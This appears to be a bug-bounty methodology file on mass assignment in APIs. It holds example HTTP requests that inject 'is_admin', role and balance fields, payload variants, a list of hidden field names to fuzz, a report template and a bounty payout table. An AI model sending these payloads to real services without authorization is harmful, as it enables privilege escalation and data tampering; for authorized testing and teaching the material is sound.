Exploit Mass Assignment vulnerabilities in APIs and web frameworks to inject unauthorized parameters. This skill details how attackers uncover hidden fields and manipulate JSON or HTTP bodies to elevate privileges or tamper with data logic.
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# Concept: Analyze the API response for an unprivileged user GET /api/v1/users/me HTTP/1.1
Host: api.target.app
Authorization: Bearer <token>
# Response {
"id": 123,
"username": "tester",
"email": "tester@example.com",
"is_admin": false,
"balance": 0.00
}
# PUT /api/v1/users/me HTTP/1.1
Host: api.target.app
Content-Type: application/json
Authorization: Bearer <token>
{
"username": "tester2",
"is_admin": true,
"balance": 9999.00
}
// { "username": "tester", "isAdmin": "true" }
{ "username": "tester", "user": { "is_admin": true } }
{ "username": "tester", "role": "admin" }
If the response doesn't leak internal field names, fuzz using common patterns.
# is_admin, isAdmin, role, roles, permissions, privs, status, verified, account_type, credit
flowchart TD
A[Inspect Response Object ] --> B{Sensitive Fields Found? ]}
B -->|Yes| C[Re-inject in POST/PUT ]
B -->|No| D[Fuzz Common Hidden Fields ]
C --> E[Verify Update/PrivEsc ]
Mass Assignment Exploitation — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
| Company/Platform | Total Paid | Highest Single | Year |
|---|---|---|---|
| Google VRP | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 |
| Microsoft | $16.6M | (Not disclosed) | 2024 |
| Google VRP | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 |
| HackerOne (all programs) | $81M | $100,050 (crypto firm) | 2025 |
| Meta/Facebook | $2.3M | up to $300K (mobile code execution) | 2024 |
| Crypto.com (HackerOne) | $2M program | $2M max | 2024 |
| 1Password (Bugcrowd) | $1M max | $1M (highest Bugcrowd ever) | 2024 |
| Samsung | $1M max | $1M (critical mobile flaws) | 2025 |
Key Takeaway: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
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